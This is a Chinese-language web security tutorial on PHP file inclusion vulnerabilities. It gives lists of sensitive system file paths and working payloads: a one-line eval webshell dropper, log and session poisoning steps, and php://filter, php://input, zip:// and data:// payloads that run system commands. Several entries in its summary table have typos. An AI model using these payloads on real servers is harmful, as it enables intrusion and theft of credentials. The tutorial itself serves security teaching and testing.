Web安全基础篇——文件包含漏洞

文件包含漏洞

​ 开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。 在实际WEB应用中,当页眉需要更新时,只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件 (而不是更新所有网页中的链接)。

漏洞危害

​ 当被包含的文件为变量时,在文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其它恶意文件,导致执行了非预期的代码。

相关危险函数

在JSP、PHP、 ASP等开发语言中都提供了内置的文件包含函数,这些函数可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。一般来说在PHP中出现的概率会比较大,而像JSP、ASP等语言概率较小甚至不会产出。

比如在PHP中,提供了四个包含文件的函数:

**include()**:当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来, 发生错误时只给出一个警告,继续向下执行。include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

**include once()**:功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。

**require()**:require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。使用require()函数包含文件时,只要程序一执行, 立即调用文件,而include()只有程序执行到该函数时才调用。

**require_once()**:它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别:include(),include_ once()在包含文件时,即使遇到错误,只生成警告(E_WARNING),下面的代码依然会继续执行;而require()和require_ _once()则会报错,生成致命错误(E_COMPILE ERROR) 并停止脚本,直接退出程序。

利用条件

​ 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是当文件包含的代码文件被写成了一个变量,且这个变量前端用户可控,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击者会指定一个特殊文件让包含函数去包含,从而造成恶意操作。

利用条件:

  • include等函数通过动态执行变量的方式引入需要包含的文件
  • 用户能够控制这个变量

分类

本地文件包含

本地文件包含漏洞仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力,可以包含网站下任意文件,配合目录穿越漏洞。

  • 使用绝对路径读取本地文件,如果后端加上目录名称等字符串的就行不通。
  • 使用相对路径进行读取,通过./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。例如当前页面所在路径为C:\Apache24\htdocs\,我们需要使用../退到C盘再进行访问,构造路径如下:../../windows/system.ini

一些常见的敏感目录信息路径:

Windows系统:

1
2
3
4
5
6
C:\boot.ini #查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml #IIS配置文件
C:\windows\repair\sam #存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini #Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD #MySQL root密码
C:\windows\php.ini #php配置信息

Linux/Unix系统:

1
2
3
4
5
6
7
8
/etc/password #账户信息
/etc/shadow #账户密码信息
/usr/local/app/apache2/conf/httpd.conf #Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf #虚拟网站配置
/usr/local/app/php5/lib/php.ini #PHP相关配置
/etc/httpd/conf/httpd.conf #Apache配置文件
/etc/my.conf #mysql配置文件
/proc/self/cmdline #获取当前启动进程的完整命令

远程文件包含

如果PHP的配置选项allow_url_includeallow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)。这两个选项在php.ini配置文件中。

漏洞利用

配合文件上传漏洞

有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

编辑一个图片马,内容如下:

1
2
3
<?php
fwrite(fopen("shell.php","w"),"<?php eval(\$_POST[shell]);?>");
?>

我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

包含Apache日志文件

有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

利用条件

  • 对日志文件可读
  • 知道日志文件存储目录

一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf nginx.conf等)或者根据phpinfo()中的信息来得知日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式。

在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log

当我们正常访问一个网页时,如http://127.0.0.1/phpinfo.php,access日志会进行记录。

1
127.0.0.1 - - [17/Aug/2022:11:22:48 +0800] "GET /phpinfo.php HTTP/1.1" 200 86110

如果我们访问一个不存在的资源,也一样会进行记录,例如访问127.0.0.1/<?php phpinfo();?>。发现也会被记录下来,但是一些符号已经被url编码了。

1
127.0.0.1 - - [29/Mar/2024:21:26:02 +0800] "GET /%3C?php%20phpinfo();?> HTTP/1.1" 403 2208

可以使用burp进行抓包,将报文修改回去再进行发送即可记录下正确的php代码。通过本地文件包含漏洞访问,即可执行。我们可以在此处写入一句话木马,再使用webshell管理工具进行连接。

包含SESSION文件

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

条件:

  • 找到Session内的可控变量
  • Session文件可读写,并且知道存储路径

php的session文件的保存路径可以在phpinfosession.save_path看到。

session常见存储路径:

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

PHP伪协议

PHP内置了很多URL风格的封装协议,可用于类似fopen()copy()file_exists()filesize()的文件系统函数。也就是说,如果要通过php发送http请求,我们可以直接调用php的相关函数。因为开发人员在开发php这个语言的时候,已经将http协议用PHP语言编写好了,我们直接调用即可。

file://协议

用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopenallow_url_include的影响。

载荷为

1
file://[文件的绝对路径和文件名]

如:

1
http://192.168.233.133/dvwa/vulnerabilities/fi/?page=file://D:\flag.txt

php://协议

PHP提供了一些杂项输入/输出(IO)流,允许访问 PHP的输入输出流、标准输入输出和错误描述符,输入/输出流也就是「数据流」,数据流可以是某个文件(xx.php)或某个url(http://www.baidu.com)。

经常使用的是php://filterphp://input。前者用于读取源码,后者用于执行php代码。

php://filter

可以在访问数据流之前进行「过滤」,并指定过滤方式。读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。filter也不会受到allow_url_fopenallow_url_include的影响。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称
<; 两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

read/write参数不是必须的,可以直接使用过滤器,比如 php://filter/convert.base64-encode/resource=hello.php。将 hello.php文件的内容使用base64加密后读取出来。复制后解密就能拿到被包含文件的内容。

常用的过滤器有

  1. string.rot13

    对数据流的内容进行rot13编码,等于用str_rot13() 函数编码。rot13编码读取文件内容后,复制页面输出的编码后的内容,手动用str_rot13()函数解码。

  2. string.toupper

    PHP5.0.0及以后版本,将数据流转换成大写,类似于 strupper() 函数。

    需要注意的是,string.tuupper不是直接将文件内容变成大写,而是先执行文件内容,再将执行后的结果转换成大写。

  3. string.tolower

    将数据流转换成小写,类似strtolower()函数。

    string.toupper一样,也是先执行文件的内容,再将执行后的结果转换成小写。

  4. convert.base64-encode

    对数据流的内容进行base64编码,相当于 base64_encode()函数。前面已经演示过。

  5. **convert.iconv.***:

    将数据流的内容按照指定字符编码来转换,使用格式有两种:

    1
    2
    convert.iconv.<input-encoding>.<output-encoding> 
    convert.iconv.<input-encoding>/<output-encoding>

    比如,convert.iconv.utf-8*.utf-16* 的意思就是把文件的字符编码从 utf-8* 转换为 utf-16*

    支持的字符编码有:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    UCS-4*
    UCS-4BE
    UCS-4LE*
    UCS-2
    UCS-2BE
    UCS-2LE
    UTF-32*
    UTF-32BE*
    UTF-32LE*
    UTF-16*
    UTF-16BE*
    UTF-16LE*
    UTF-7
    UTF7-IMAP
    UTF-8*
    ASCII*
    EUC-JP*
    SJIS*
    eucJP-win*
    SJIS-win*
    ISO-2022-JP
    ISO-2022-JP-MS
    CP932
    CP51932
    SJIS-mac
    SJIS-Mobile#DOCOMO
    SJIS-Mobile#KDDI
    SJIS-Mobile#SOFTBANK
    UTF-8-Mobile#DOCOMO
    UTF-8-Mobile#KDDI-A
    UTF-8-Mobile#KDDI-B
    UTF-8-Mobile#SOFTBANK
    ISO-2022-JP-MOBILE#KDDI
    JIS
    JIS-ms
    CP50220
    CP50220raw
    CP50221
    CP50222
    ISO-8859-1*
    ISO-8859-2*
    ISO-8859-3*
    ISO-8859-4*
    ISO-8859-5*
    ISO-8859-6*
    ISO-8859-7*
    ISO-8859-8*
    ISO-8859-9*
    ISO-8859-10*
    ISO-8859-13*
    ISO-8859-14*
    ISO-8859-15*
    ISO-8859-16*
    byte2be
    byte2le
    byte4be
    byte4le
    string.rot13
    HTML-ENTITIES
    7bit
    8bit
    EUC-CN*
    CP936
    GB18030
    HZ
    EUC-TW*
    CP950
    BIG-5*
    EUC-KR*
    UHC
    ISO-2022-KR
    Windows-1251
    Windows-1252
    CP866
    KOI8-R*
    KOI8-U*
    ArmSCII-8

如果需要多个条件过滤,在过滤器中间加上|符即可,如:

1
php://filter/read=convert.base64-encode|string.toupper/resource=hello.php

php://input

可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

利用条件:

  • allow_url_fopen:off/on
  • allow_url_include:on

利用该方法,可以直接写入php文件,输入file=php://input,然后使用burp抓包,请求体中写入php代码。

1
2
3
<?php
fwrite(fopen("shell.php","w"),"<?php eval(\$_POST[shell]);?>");
?>

这样服务器就会执行请求体的php代码,在该目录下创建一句话木马文件了。

注:当enctype="multipart/form-data"的时候 php://input是无效的。

ZIP://协议

可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行,从而实现任意代码执行。

  • zip://中只能传入绝对路径。
  • 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC#要用%23替换)。
  • 只需要是zip的压缩包即可,后缀名可以任意更改。
  • 相同的类型还有zlib://bzip2://

载荷为:

1
2
3
zip://[压缩包绝对路径]#[压缩包内文件]

如:?file=zip://D:\1.zip%23phpinfo.txt

data://协议

类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,从而导致任意代码执行。

利用条件:

  • allow_url_fopen:on
  • allow_url_include:on

载荷:

1
2
3
4
5
data://text/plain,<?php phpinfo();?>
data:text/plain,<?php system("whoami");?>
data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

伪协议总结

协议 PHP版本 low_url_fopen allow_urL_include 用法
file:// >=5.2 off/on off/on ?file=file://[绝对路径或相对路径]
php://filter >=5.2 off/on off/on ?file=php://filter/[过滤器]/resource=[文件路径]
php://input >=5.2 off/on on ?file=php://input,POST:
zip:// >=5.2 off/on off/on `?ile=zip://[压缩文件绝对路径]%23[压缩包里的文件]
compress.bzip2:// >=5.2 off/on off/on `?file=compress.bzip://./file.bz2
compress.zlib:// >=5.2 off/on off/on `?file=compress .zlib://./file.gz
data:// >=5.2 on on ?file=dat://text/plain, 或?file=data://text/plain;base64.PD9waHAgcGhwaW5mbygpPz4=